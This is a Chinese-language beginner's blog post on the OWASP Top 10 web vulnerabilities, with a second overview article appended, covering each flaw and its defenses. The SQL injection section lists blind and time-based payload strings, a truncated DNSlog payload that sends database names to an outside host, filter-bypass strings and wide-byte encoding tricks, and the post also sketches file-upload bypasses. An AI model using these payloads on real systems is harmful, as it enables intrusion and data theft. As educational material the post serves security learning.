信息安全入门——top10漏洞介绍
Posted 小白一枚多多关注
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了信息安全入门——top10漏洞介绍相关的知识,希望对你有一定的参考价值。
随着网络的发展,现在各行各业也都建立起了自己的网络服务,这虽然使得广大的人民群众能更好的认识这家公司,但也会吸引各个攻击者的注意力。
而大多数的企事业单位都会建立属于自己的门户网站或为了便利在服务器上部署各种工具(如“OA”),但岂能料到,正是因为这些网站使得自己面临着巨大的网络安全威胁(如常见的信息泄露等)。
在信息安全中最为常见的就是web安全,今天就由我来为各位介绍web安全排行榜中位列前10的安全漏洞。
目录
1.sql注入
1.1 介绍:
sql注入是最为常见也是破坏力最大的漏洞,它是因为开发在开发时没有对用户的输入行为进行判断和过滤,使得用户输入了恶意语句后传给了后端数据库进行相应的动作(如增删改查)。
1.2 分类(这里为了节省篇幅使用的是执行效果分类):
1.2.1 盲注:
盲注不是太适合刚上手就进行的操作,它花费的时间与精力要远大于其他类型的注入,并且被管理员发现的可能性很高;但是它适配绝大多数的注入点。
盲注分为bool盲注、时间盲注、dnslog盲注。
1.2.1.1 布尔盲注(bool)
这个是以所回显的内容的不同作为判断依据。
语法:
id=1 and 1=1
id=2 and 1=2
id=1 and user()='root@localhost'
1.2.1.2 时间盲注
这个是以所回显内容的时长来作为判断依据的
语法:
id=1 and sleep(2)
id=1 and if((substr((select user()),1,1)='r'),sleep(2),1)
1.2.1.3 dnslog盲注
这个注入有个缺点,就是对方服务器必须是windows系统还得是root权限,secure_file_priv为空
语法:
id=2 and 1=(selectload_file(concat('\\\\\\',hex(database()),'.rly7j0.dnslog.cn
1.2.2 报错注入:
报错注入就是利用数据库的机制来人为的制造错误条件,使得查询结果能回显到报错信息中。
报错注入有十种,但是我自己常用的只有三种,分别是:floor、updatexm、extractvalue。
1.2.2.1 floor报错注入
这种报错注入就是利用数据库主键不能重复的原理,使用GROUP BY分组,产生主键冗余,从而导致报错。
联合查询;
堆叠注入;
1.2.5 宽字节注入:
宽子节注入的编码是相对于ascll码这样的单子节而言的,像GB2312、GBK这类就是常说的宽字节,实际上只有两个字节;
GBK是一种多字符的编码方式,一个通过GBK进行编码的汉字占两个字节;而通过utf-8编码的汉字则占3个字节;
而mysql为了应对这类注入就引入了转义函数的机制,如对特殊的字符加上反斜杠进行转义;mysql还有addslashes,mysql_real_escape_string等;
以php客户端为例,客户端输入数据后若php没有进行过编码修改则会通过默认的编码方式来生成sql语句传递给服务器,而php没有开启default_charse时,编码方式默认为空 ;
数据库收到所传递的信息后会对sql语句进行解码,然后再使用系统变量character_set_connection进行十六进制编码,当sql语句执行完后则会通过character_set_results进行编码输出
宽字节注入指的是mysql数据库在使用宽字符(GBK)编码时会默认两个字符时一个汉字,而当客户端输入单引号时,mysql会调用转移函数,将单引号变为'\\,其中\\的十六进制是%5c,mysql的GBK编码会认为%df%5c是一个宽字节,也就是'運‘,从而使得单引号闭合,进行了注入攻击
数据大致变化过程:
%df%27==>(过滤函数)==>%df%5c%27==>(GBK)==>结果
二次注入;
注:因为小编自己前段时间有事加上电脑又为了做论文重置过所以现在电脑上的工具、环境及靶场是基本清零,所以这篇文章基本上就是大致的介绍文,至于实践过程需要过段时间小编把电脑配置好了再增加上去或者从新开篇做,请各位谅解,谢谢。
1.3 sql注入bypass
记得去年的时候有个工具就是专门用来bypass的,当时还下来试了一下,结果现在忘了叫啥了,哈哈哈...
现在的环境,sql注入bypass基本上就是老的能用的已经很少了,新的对环境的要求又有点高,好用的在别人手上,难用的都在自己手上...
bypass基本有以下几种:
字符串拼接:
'1'||'2'
'1'+'2'
'1'\\|\\|'2'
1' '2'
concat('1','2')
2.失效的身份认证和会话管理
2.1 介绍:
开发人员在进行web程序开发的时候,有些开发人员因为某些原因就只能关注web应用程序的功能,从而忽视了一些安全问题,所以就会出现建立自定义的认证和会话方案。但是这些方案的实现上却往往有着漏洞的出现,如:推出、密码管理、超时、密码找回、账户更新等;
这类漏洞大多属于逻辑漏洞,最长出现的地方就是登录界面哪里以及url哪里
2.2 举列:
用户A登录了某个web界面,而那个界面登录后的url为:
http://www.xxxx.com/user/a;jsessionid=12345678?name=123d
这时用户A在没有退出的情况下直接关闭了浏览器并且将该url发给了用户B,当用户B进入该url后就能直接行使用户A的权限,那么这里就时url中泄露了会话id并且因为该web程序支持url重写就导致了用户B能直接登录上用户A的账号并行使相应的权限。
2.3 修复方式:
(1)限制区域;
(2)使用密码有效期;
(3)禁用用户;
(4)不要存储用户密码;
(5)传输过程对数据进行加密传输;
(6)对身份验证cookie进行加密;
(7)限制会话时长;
(8)避免未授权;
3.跨站脚本攻击(xss)
3.1 介绍:
xss攻击就是攻击者构建了一个恶意代码然后在漏洞存在的网站进行了传输,当其他用户访问该网站或者点击功能点时就会自动触发该恶意代码然后达到攻击目的。
3.2 分类:
3.2.1 反射性xss:
这类攻击没有什么实际上的作用
3.2.2 存储性xss:
这类攻击要比反射性xss的危害性高的多,往往可以配合其他攻击手法进行扩大
3.2.3 DOM型xss:
这类攻击是不需要服务端的参与,往往是浏览器的dom解析来触发,纯纯的客户端的事
3.3 防御:
(1)使用跨站脚本过滤器(xss filter)来分析用户提交的数据中是否可能存在恶意代码或脚本;
(2)输入过滤:
输入中是否有违法字符;
输入字符是否超出最大长度限制;
输入数字是否是规定范围内的;
若输入框中规定了特殊格式要求则需要建立规则来防止进行其他的攻击;
(3)特殊字符进行转码或编码操作
(4)黑白名单
4. 安全配置错误
4.1 介绍:
该漏洞通常是由于开发人员的疏忽导致了某些安全配置不当或者使用默认配置从而导致了漏洞的触发
4.2 防御:
(1)配置所有的安全机制
(2)使用简易化,将不使用的服务关闭
(3)更改账户默认信息
(4)回显信息不显示与实际错误无关的信息
5. 敏感信息泄露
5.1 介绍:
该漏洞是因为管理人员或者技术人员因为某些原因导致了敏感信息泄露。这类漏洞常常会被黑产组织收集起来然后对公民个人信息进行侵害从而达到盈利的目的。
5.2 攻击方式(简单):
使用工具进行挖掘,好比爬虫等可以扫描敏感文件、目录从而照到敏感数据;
手工挖掘,查看web容器或者网页源代码,从中分析出可能存在的敏感信息。(如目录等)
5.3 防御:
加强员工的安全意识并且对用户的信息进行加密。
6. 访问控制
6.1 介绍:
大多数web应用程序的功能在页面显示之前会验证用户能访问的权限级别。但要是请求没有被验证权限,那么攻击者就能伪造请求来达到未授权访问。
6.2 攻击手法(简易)
非法用户以某种手段来对本应该是有权限的用户才能访问的页面进行访问(且能进行有权限的用户的操作)。
6.3 防御措施:
(1)对应用权限进行严格的筛查,对每个url和请求进行效验和权限认证;
(2)对每个功能点的访问都要明确的角色授权,采取过滤器的方式进行简易校验;
(3)实现web访问的ip黑白名单列表,禁止危险ip访问;
7. 跨站请求伪造(CSRF)
7.1 介绍:
CSRF全名叫cross-site request forgery,它能使攻击者冒充你的身份并且以你的名义进行恶意请求发送,这对服务器来说该请求是合法的,但却达到了攻击者所需求的操作。
7.2 攻击手法(简易)
(1)网站A、用户B与网站C;
(2)当用户B访问网站A时,输入用户与密码后并发送请求进行登录;
(3)用户信息通过验证后,网站A将cookie信息返回给了浏览器,此时用户登录网站A成功,就能正常的发送请求给网站A了;
(4)当用户因为某些事需要访问网站C时,在退出网站A之前,在同一个浏览器中打开了一个新标签去访问网站C;
(5)当网站B接收到了用户请求后,会返回一些攻击性代码,并且发送一个请求要求访问第三方站点A;
(6)浏览器接收到这些攻击代码后,则会根据网站C的请求,在用户不知情的情况下携带cookie,向网站A发送请求。此时网站A并不知道该请求其实是由C发送的,所以会根据用户B的cookie以B的权限进行处理,从而导致网站C的恶意代码被执行。
7.3 分类:
get和post型。
7.4 防御手段:
(1)验证HTTP Referer字段。
(2)在请求地址中添加token并且验证。
(3)在重要功能中添加二次验证。
8.使用已知漏洞的组件
8.1 介绍:
因为个别程序员对安全的忽视从而导致了它们所做出来的程序中的组件和库可能是曾经出过漏洞的版本,这样就会直接使最后做出来的程序产生对应的历史漏洞;
8.2 攻击手法(简易):
直接使用网上已有的POC进行探测然后在使用EXP进行攻击即可
8.3 防御措施:
(1)及时更新所使用的组件和库的版本;
(2)及时关注所使用的组件和库的漏洞;
(3)建立完善的网络安全审核制度,对项目所使用的组件进行历史漏洞审核;
(4)尽量以最小化进行封装,对易受攻击的地方进行封禁;
9.未验证的重定向和转发
9.1 介绍:
(1)重定向简单的理解就是,当客服端第一次访问服务器时,服务器会返回一个状态码告诉浏览器去访问一个新的地址,而这个地址的url与第一次访问时是不一样的;
(2)转发就是当客户端将请求发给服务端后,服务器内部将这个请求转发给了另一个资源,然后将另一个资源的url所响应的内容再读取回来,最后通过原来所访问的url返回给客户端,而这一转发是在服务器内部进行的,所以客户端并不知道服务器所发送的内容到底是来自哪里(因为它的url还是原来的那个);
9.2 区别:
因为重定向是浏览器向服务器发送一个请求并响应后再次向一个新地址发出请求,所以是发送了两次请求,且两个地址并没有进行资源共享;
而转发则是浏览器向服务器发送一个请求并响应后再将该请求转发给另一个资源点,然后将第二个资源点所响应的内容读取到第一个资源点,最后原路返回给浏览器,所以这连个地址是进行了资源共享的;
9.3 防御措施:
(1)重定向外部网站需要验证是否在黑白名单内;
(2)对内部网站转发要进行权限验证,有权限的才能进行操作;
10. 文件上传漏洞(这是我实在想不起来了就随便加了个)
10.1 介绍:
开发人员在进行开发时,没有对客户端所上传的文件进行严格的验证和过滤;
10.2 攻击手法(简易):
(1)JS前端检测绕过:
使用浏览器的插件,对检测文件后缀的JS代码进行删除,然后就能进行绕过了;
(2)文件后缀绕过:
使用抓包软件,将请求包中的文件后缀修改了;
(3)文件类型绕过:
使用抓包软件,将请求包中的Content-Type值修改一下就ok了;
(4)文件截断绕过:
这玩意儿有点鸡肋,它必须在PHP<5.3.4且magic_quotes_gpc为off状态时才能进行;
就是将请求包中的get参数截断的内容作为上传文件名的第一部分,然后将按时间生成的文件名作为第二部分;
(5)条件竞争:
这个就类似于打时间差的战术,它利用了文件上传检测机制检查后判定是否上传成功和删除文件之间的那一小段时间中完成攻击;
10.3 防御措施:
(1)使用黑白名单进行过滤;
(2)对上传成功的文件进行重命名;
(3)在服务器端加装WAF;
好了,这篇就写到这里吧,我个人也是因为某些事耽误了很久所以导致现在无论技术还是文笔上越来越差,要是发现哪里不对或者不连通请各位见谅。
网络安全入门之owasp top10漏洞详解
TOP1-注入
简单来说,注入往往是应用程序缺少对输入进行安全性检查所引起的,攻击者把一些包含指令的数据发送给解释器,解释器会把收到的数据转换成指令执行。常见的注入包括sql注入,--os-shell,LDAP(轻量目录访问协议),xpath(XPath即为XML路径语言,它是一种用来确定XML(标准通用标记语言的子集)文档中某部分位置的语言),HQL注入等。
危害如下:
注入可以导致数据丢失或被破坏,缺乏可审计性或拒绝服务。注入漏洞有时甚至可导致完全接管主机
如何防范:
1.使用安全的API,避免使用解释器
2.对输入的特殊的字符进行ESCAPE转义处理
例子:LIKE '%M%' ESCAPE ‘M’
使用ESCAPE关键字定义了转义字符“M”,告诉DBMS将搜索字符串“%M%”中的第二个百分符(%)作为实际值,而不是通配符
3.使用白名单来规范化的输入验证方法
TOP2-失效的身份认证和会话管理
与认证和会话管理相关的应用程序功能往往得不到正确实施,导致了攻击者可以破坏密码,密钥,会话令牌或实施漏洞冒充其他用户身份
危害如下:
这些漏洞可能导致部分甚至全部账户遭受攻击,一旦攻击成功,攻击者就能执行合法的任何操作
如何防范:
1.使用内置的会话管理功能
2.通过认证的问候
3.使用单一的入口点
4.确保在一开始登录SSL保护的网页
TOP3-跨站XSS
跨站脚本是最普遍的web应用安全漏洞。当应用程序在发送给浏览器的页面中包含用户提供的数据,但没有经过适当验证和转义,就会导致跨站
危害如下:
攻击者在受害者浏览器中执行脚本以劫持用户会话,插入恶意内容,重定向用户,使用恶意软件劫持用户浏览器等
种类:
存储型,反射型,DOM型
如何防范:
1.验证输入
2.编码输出(用来确保输入的字符被视为数据,而不是作为html被浏览器所解析)
TOP4-不安全的对象直接引用
意指一个已经授权的用户通过更改访问时的一个参数,从而访问到原本其并没有得到授权的对象
危害如下:
这种漏洞可以损坏参数所引用的所有数据
如何防范:
1.使用基于用户或会话的间接对象访问,这样可防止攻击者直接攻击为授权资源
2.访问检查:对任何来自不受信源所使用的所有对象进行访问控制检查
3.避免在url或网页中直接引用内部文件名或数据库关键字
4.验证用户输入和url请求,拒绝包含./ ../的请求
TOP5-伪造跨站请求(CSRF)
跨站请求伪造,利用了网站允许攻击者预测特定操作所有细节这一特点。由于浏览器自动发送会话cookie等认证凭证,导致攻击者可以创建恶意的web页面来产生伪造请求。这些伪造的请求很难和合法的请求区分开
危害如下:
攻击者可以让受害者用户修改任何允许修改的数据,执行任何用户允许的操作,例如修改密码,登录注销等
如何防范:
1.给每个HTTP请求添加一个不可预测的令牌,并保证该令牌对每个用户会话来说是唯一的。
最好的办法就是将独有的令牌包含在隐藏字段中,通过HTTP请求发送,避免在URL中暴露出来
2.要求用户重新认证或判断他们是一个真实的用户
TOP6-安全配置错误
安全配置错误可以发生在一个应用程序堆栈的任何层面,包括平台,web服务器,应用服务器,数据库,架构和自定义的代码。攻击者通过访问默认账户,未使用的网页,未安装的补丁的漏洞,未被保护的文件和目录等,以获得对系统为授权的访问
危害如下;
系统可能在未知的情况下被完全攻破,用户数据可能随着时间被全部盗走或篡改。甚至导致整个系统被完全破坏
如何防范:
1.自动化安装部署
2.及时了解并部署每个环节的软件更新和补丁信息
3.实施漏洞扫描和安全审计
TOP7-限制URL访问失败(缺少功能级访问控制)
这个漏洞也是与认证相关的,这种漏洞具体是指在系统已经对url的访问做了限制的情况下,但这种限制并没有生效。常见的例子是系统没有对用户进行角色的检查,以及用户通过修改URL的action并指向未被授权页面就能访问该页面同样是个漏洞
危害如下:
攻击者很容易就能把网址改成享有特权的网页,这样就可以使用匿名或普通用户访问未授保护的私人页面,从而提升未授权功能和相关数据信息
如何防范:
1.检查管理权限的过程并确保能够容易进行升级和审计
2.默认缺省情况下,应该拒绝所有访问的执行权限。对于每个功能的访问,需要明确的角色授权
3.检查每个功能分配的权限合理有效
TOP8-未验证的重定向和转发
在Web应用中重定向是极为普通的,并且通常重定向所引发的目的是带有用户输入参数的目的url,而如果这些重定向未被验证,那么攻击者就可以引导用户访问他们想要用户访问的站点
同样,转发也是极为普遍的,本质上转发是在同一个应用中对一个新页面发送请求,并且有时是用参数来定义目标页面的。同样,如果参数未被验证,那么攻击者就可以利用其来绕过认证或是授权检查
危害如下:
攻击者通过重定向可以试图安装恶意软件或诱使受害人泄露密码等敏感信息,通过转发可以绕过访问限制
如何防范:
1.避免使用重定向和转发
2.如果使用了,不要在确定目标时涉及到用户参数
3.如果无法避免使用用户参数,则应确保目标参数值对于当前用户是有效的并已授权
如果是需要登录的,可以从session当中获取登录信息,然后判断
TOP9-应用已知脆弱性的组件
应用程序使用带有已知漏洞的组件会破坏应用程序防御系统,可能导致严重的数据丢失或服务器接管
如何防范:
1.识别正在使用的组件和版本,包括所有的依赖
2.更新组件或引用的库文件到最新
3.建立安全策略来管理组件的使用
TOP10-敏感信息暴露 这个好像没什么可说的,就注重对敏感数据的保护即可
以上是关于信息安全入门——top10漏洞介绍的主要内容,如果未能解决你的问题,请参考以下文章